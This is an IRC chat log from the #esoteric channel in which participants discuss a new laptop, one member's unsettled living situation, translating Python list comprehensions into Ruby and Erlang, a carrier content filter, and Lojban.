:alise_!unknown@unknown.invalid PRIVMSG #esoteric :I suppose it's not actually all that dinky < 1267744001 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :scarf: because in some ephemeral way it is small and dinky. < 1267744008 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Compared to an iMac, I suppose. :P < 1267744058 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Also, what is it with airline food^W^W mobile broadband software? < 1267744065 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's all incorrigibly awful < 1267744084 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Why yes, FUSE filesystem, I would absolutely love for you to read the entire contents of that file into memory. < 1267744084 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : I of course have enough memory for 12 gigabyte files in RAM. < 1267744086 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wonderful < 1267744087 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, one thing that's annoying is things like the wireless killswitch seem to only work on Windows her < 1267744088 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*here < 1267744110 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, what fuse file system was it? < 1267744134 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :4 gigabytes of RAM in a machine with this CPU is hilariously pointless < 1267744154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah compression < 1267744156 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :1.30GHz single core, fuck yeah < 1267744158 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise_: why'd you get a new computer thats not a mac? < 1267744162 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I would recommend using squashfs for compressing filesystem ;P < 1267744176 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise_: this one has 3GB < 1267744181 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and is likewise single-core < 1267744184 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :augur: because buying a mac laptop for use tomorrow without financial planning is a stupid idea < 1267744190 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :They are, you might note, rather expensive < 1267744194 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Welcome to laptop-land. You'll learn to love to hate to type. < 1267744196 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :actually, having that much memory compared to the CPU means it's unlikely to start swapping without lots of notice < 1267744207 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :why did you buy a laptop for use tomorrow? < 1267744208 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Besides, I have no real qualms with UBuntu. < 1267744221 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :augur: because my life is fucked up right now and I can't lug about an iMac < 1267744231 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :whats goin on? < 1267744239 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :scarf: hmm... does yours have more than 1.30GHz of juice? < 1267744252 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also, if you have a 32-bit OS it's feasible that you have >3 gigs and just don't know it < 1267744255 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :1.3 exactly < 1267744258 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :augur: Well, you know the situation with the unit, right? < 1267744262 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267744263 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and I have a 32-bit OS, but it was advertised with 3GB < 1267744270 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You do, I told you. < 1267744284 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Basically a mental health institution has me there the entire week apart from the -ends. < 1267744289 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, you mean the "zomg the boy is crazy" thing < 1267744291 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :apart from this week? < 1267744299 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But not right now, that's not the issue, the issue is that for various complicated reasons I don't have any permanent residence right now < 1267744301 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :or have you been going this week anyway, somehow? < 1267744316 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I've sent my clone there < 1267744316 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1267744332 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :can i get an alise_ clone? :X < 1267744332 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise_: this is the best time ever for you to be a pair of identical twins < 1267744351 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :augur: That's possibly the most disturbing thing you've ever said :P < 1267744358 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: The keys are... so flat. < 1267744360 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i try <3 < 1267744362 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: So where the hell are you? Please say "A truck stop outside El Paso". It's the only correct answer. < 1267744365 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I've had a scissor-switch keyboard before but jeez. < 1267744375 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A truck stop outside El Paso. (Uncle's house) < 1267744381 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Right on. < 1267744397 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise_: please get your life sorted out before you run out of relatives < 1267744413 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :scarf: XD < 1267744419 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, homelessness? < 1267744420 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth < 1267744432 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I didn't gather it was quite that bad < 1267744439 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's not like we didn't pay the rent or anything :P And it's not like we're sleeping on the streets < 1267744442 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :he isn't homeless, just being shuffled from relative to relative < 1267744460 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's just that going back to my (ex-)stepfather's house is not really an option. < 1267744467 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : you can turn off tap-to-click on the thumbpad if you really care, that prevents thumbing it by mistake doing much <-- thumbpad? Is that different from a normal touchpad? < 1267744471 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Only left my father's house because he demanded, increasingly angrily, that I attend the unit < 1267744484 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, it's just a thumbpad, I misnamed it < 1267744488 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Actually he called social services on us because for a few hours he didn't know where we'd gone to... < 1267744493 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :He's pretty fucking crazy. < 1267744498 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, ? < 1267744508 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :calling social services due to not knowing where your son is seems plausible < 1267744523 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*touchpad < 1267744534 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, ah < 1267744543 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :scarf: no, it was /after/ he found out < 1267744550 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : I've had a scissor-switch keyboard before but jeez. <-- they vary widely in quality in my experience < 1267744590 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise_: are you at least going to school, somehow? my guess is that that's completely implausible given the situation < 1267744612 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but I'm worried that you'll get in trouble on the technicality that you're within the compulsory education age range, yet not going to school < 1267744632 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, your parents are separated? < 1267744636 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or what is going on < 1267744642 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :have you fled from home? < 1267744648 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is utterly confused now
< 1267744655 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1267744659 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think ive just seen < 1267744660 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what is by far < 1267744662 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :My parents have been separated since I was three. < 1267744666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267744667 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I am with my mother. < 1267744668 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the weirdest and wonderfullest musical instrument ever < 1267744692 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, ? < 1267744697 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: an audience. < 1267744700 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :http://www.ted.com/talks/bobby_mcferrin_hacks_your_brain_with_music.html < 1267744706 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :bobby mcferrin plays a fucking audience. < 1267744740 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :This thing has a nice DPI. < 1267744759 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Can't even see /Windows's/ subpixel fringes. < 1267744774 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has .. somewhat mixed emotions about Ruby
< 1267744780 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: why < 1267744782 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what kind < 1267744783 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I can see the subpixel fringes here if I zoom in a lot < 1267744802 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :He has a part of him that thinks it's good, and it hasn't been forcibly amputated yet < 1267744802 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'll Get Around To It(TM) < 1267744808 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :On the one hand, it's the language I'm learning right now, therefore it's awesome. On the other hand, 20 ways to do the same thing gets on my nerves rapidly < 1267744826 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: learn Perl, it only has 19 < 1267744826 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: oh get over it :P < 1267744829 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, wow < 1267744830 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think the fan logic for this machine is "Fan for a minute or two. Sleep a few minutes. Repeat." < 1267744840 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: RIGHT? < 1267744848 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise_: plus a random-number generator < 1267744849 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, still haven't figured out how to mechanically translate [something for i in stuff for j in otherstuff] < 1267744856 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Nor (something for i in stuff) < 1267744859 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it does fan louder while under load, though, if not more often < 1267744862 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: what? < 1267744869 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, ? < 1267744873 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, about that video < 1267744874 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :.. < 1267744876 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm used to Python's list comprehensions < 1267744881 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i know. its amaing. < 1267744888 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's somewhat easy to translate simple ones to Ruby < 1267744890 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: ah, list comprehensions dont exist in ruby, unfortunately. < 1267744892 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, also amazing < 1267744905 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you need to do maps instead. < 1267744915 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what sort of complicated map are you trying to do? < 1267744934 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[x*x for x in [1,2,3] if x > 1] becomes [1,2,3].select{ |x| x > 1}.map{|x| x*x} < 1267744950 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yeah. < 1267744966 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What's the equivalent for multiuple "for x in y"s? < 1267744977 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :example? < 1267744981 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And is there something similar I can do with generators? < 1267744995 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[x*y for x in range(10) for y in range(10)] < 1267744997 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm? python has list comprehensions? < 1267745000 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :didn't remember that < 1267745010 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ah. i see. no i dont think such a thing is easy to do in ruby < 1267745036 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :augur: That was pretty cool at the end. < 1267745037 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, should be straightforward in erlang btw < 1267745043 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: :) < 1267745046 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Up 'til then it was more "uhh, OK?" < 1267745054 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267745055 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :0.upto(10) {|x| 0.upto(10) {|y| x*y}} < 1267745055 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :OR something < 1267745055 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*Or < 1267745056 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :he got people going < 1267745059 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then bam < 1267745065 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise_: no, that wouldnt do it < 1267745086 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Err, right < 1267745102 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :(0..10).to_a.map { |x| (0..10).to_a.map { |y| x*y } }.flatten < 1267745104 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(0..10).map {|x| (0..10).map {|y| x*y}} < 1267745119 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ranges dont have a map method ;) < 1267745154 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fucking lame < 1267745195 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=S2k7aoIGqTI Anyone who hasn't seen this needs to watch it on loop until their eyes bleed. < 1267745195 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :You can presumably make your own, and it will be an automatic part of all ranges < 1267745213 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: what is it? with a description like that, I don't want to click on it < 1267745226 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :scarf: It's The Cosmic Adventures of Doctor Fabulous < 1267745235 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1267745271 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, [X*Y||X<-lists:seq(0,10),Y<-lists:seq(0,10)]. (erlang) < 1267745340 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :all possible combinations < 1267745348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(I assume that is what the python one does) < 1267745401 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://sprunge.us/dVZH is the generated list < 1267745430 0 :alise!~95fee232@gateway/web/freenode/x-enfkamjmtjgsjjns JOIN :#esoteric < 1267745432 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Our Content Lock system protects under 18s from accessing inappropriate content, including unmoderated user-generated content and social networking sites. To remove Content Lock, click on the link below, call 1818 from your mobile or visit your nearest T-Mobile Store. < 1267745433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :FFS < 1267745438 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just give me youtube < 1267745452 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267745480 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, does that do the same as the python one? < 1267745485 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :social networking = inappropriate content? < 1267745487 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, yes or no < 1267745491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, very! < 1267745495 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :unmoderated user-generated, is that to give an excuse to block WIkipedia? < 1267745504 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but in a certain order < 1267745514 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, hm? < 1267745517 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :if you're tethering, could you bounce an ssh tunnel off somewhere? < 1267745523 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267745553 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[(x, y) for x in (1,2,3) for y in range(1,2,3)] starts [(1,1), (1,2), (1,3), (2,1)... < 1267745554 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :iirc < 1267745560 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: YOUTUBE IS VIOLENCE < 1267745561 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AND SEX < 1267745563 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AND WARFARE < 1267745567 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AND ROCK AND ROLL MUSIC < 1267745574 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :gah, not rock and roll! < 1267745580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, that python expression gives me a list that goes to 81 here .... < 1267745581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth < 1267745585 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :seriously, it's probably a better idea to just go round the filter < 1267745589 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So now it wants me to supply a credit card number so it can verify that I'm an under-18 using someone else's credit card number. < 1267745602 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and what they /probably/ want to do is avoid people using loads of bandwidth < 1267745613 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"You are number 5 in queue. Estimated wait time is 2 minute(s)s" < 1267745618 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :if it's an unlimited-connection sort of thing < 1267745618 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The old vodafone 3g stick did the same thing < 1267745624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It was damn annoying < 1267745631 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: No, pay-as-you-go, but topped up a lot I think < 1267745633 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and implies deep packet inspection, doesn't it? < 1267745634 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For 30 days < 1267745643 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Pay for one day get 30 days free; pretty sweet deal imo.) < 1267745646 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Probably. < 1267745648 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :or they couldn't see where you were sending the query < 1267745653 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe DNS-based? < 1267745653 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, http://sprunge.us/hZQA <-- that makes no sense < 1267745665 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Gregor this isn't very good < 1267745666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, unless range(10) actually means 0..9 < 1267745675 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: YOU FAIL < 1267745677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which would be sillier than I remembered < 1267745679 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, it does < 1267745692 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267745709 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, well then change the erlang expression to [X*Y||X<-lists:seq(0,9),Y<-lists:seq(0,9)] < 1267745711 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night < 1267745724 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Night AnMaster < 1267745839 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if it's possible to apply for and receive a credit card entirely over the Internet. < 1267745905 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, this laptop used to be a display item. < 1267745905 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :There were only two laptops of this model and they were both displays... < 1267746310 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267746517 0 :scarf!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267746532 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::(((( I watched the whole thing < 1267746542 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it's meant to be a satire? < 1267746600 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1267746621 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Of various nonsense, and also with a heavy smattering of unrelated nonsense. < 1267746666 0 :alise!~95fee042@gateway/web/freenode/x-sroltliurrkfdhjz JOIN :#esoteric < 1267746791 0 :cbrowne!~chris@cl-724.lon-02.gb.sixxs.net JOIN :#esoteric < 1267746882 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This thing measures the battery life in Toshiba time. < 1267746887 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It goes quickly, like technology. < 1267746999 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ugh, scarf disappeared < 1267747052 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :gregor said i fail :( < 1267747057 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I cant help who I am! < 1267747082 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :this is rocket launch < 1267747082 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :http://playlist.yahoo.com/makeplaylist.dll?id=1368162 < 1267747093 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it goes into "orbit" in "space" < 1267747107 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :(at least that's what they tell us..) < 1267747226 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :there it is gone < 1267747324 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you're strange. < 1267747324 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :really terribly strange < 1267747370 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise what do you have against nasa? < 1267747390 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :fun fact: "nasa" means "crazy" < 1267747399 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::3 < 1267747406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well you misinterpret gregor's joking "fail" as serious and then you say some sort of can't-tell-if-it's-serious space conspiracy stuff a second later :P < 1267747423 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you are just impossible alise!!! < 1267747545 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If I start falling in love with Ruby, is that a bad thing? < 1267747551 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yes. < 1267747556 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yeah I think ruby sucks < 1267747569 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :except it's kind of useful.... < 1267747576 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :but appart from that...... < 1267747577 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, you realise that there's going to be a point in your programming career when you /can't/ just ask us an answer to every dilemma :) < 1267747596 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267747621 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Considering that I'm still going to keep messing with Ruby regardless of complaints about it in this channel.. < 1267747709 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it's okay < 1267747714 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise complains about everything < 1267747724 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Unix domain sockets are difficult to find information about. < 1267747735 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and is thus not an objective test of the goodness of a language < 1267747769 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: then don't ask. < 1267747770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: no, I don't complain about everything < 1267747773 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'd like to know how to open one, listen on one, see who's on the other end of one, and read and write stuff. < 1267747783 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :On the one hand, I want to agree, on the other hand, coppro is a C++ sympathizer >.> < 1267747785 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :merely most things that tend to be talked about at length < 1267747807 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :No offense < 1267747808 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I'm not a blind one though < 1267748099 0 :alise_!~95fee1b7@gateway/web/freenode/x-dvggetfvxwareuzp JOIN :#esoteric < 1267748127 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :at&t customer service chat ftw < 1267748229 0 :alise__!~95fedb50@gateway/web/freenode/x-xciujybtjveujvxg JOIN :#esoteric < 1267748312 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267748356 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267748378 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. Linux has less system calls than Lojban has gismu. I could just learn them all. :P < 1267748383 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION 's soul is bleeding
< 1267748460 0 :alise!~95fed95d@gateway/web/freenode/x-nezvjfcdoadhtmke JOIN :#esoteric < 1267748488 0 :alise__!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267748592 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :mention of lojban = ban < 1267748631 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That's why they call it Loj-BAN < 1267748640 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :yeah exactly < 1267748643 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Mention of logic language = language? < 1267748650 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What if I mention patching the Linux kernel so that it's a MOO? < 1267748675 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what the hell is logical about lojban < 1267748682 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea. < 1267748683 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it's the most illogical thing I know :| < 1267748716 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: consistency < 1267748733 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I've already been banned from my lodge. < 1267748755 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I looked at the Grand Poo-Bah funny. < 1267748855 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is your lodge Agora? < 1267748884 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :The Grand Poo-Bah is not from Agora < 1267748979 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I know that. < 1267749023 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Polished, vertical walls are consistent too, and climbers just loooove them. < 1267749049 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, it's the best analogy I know for why consistency + spoken language = not exactly a love affair < 1267749095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Lojban isn't the most interesting thing ever. < 1267749099 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But I like how it relates to propositional logic. < 1267749106 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which is probably the real Loj in Lojban. < 1267749116 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ban < 1267749117 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ban < 1267749117 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :The irregularities in natural language seem to work like coding theory stuff, sometimes? < 1267749118 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ban < 1267749121 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ban < 1267749125 0 :MissPiggy!unknown@unknown.invalid PRIVMSG 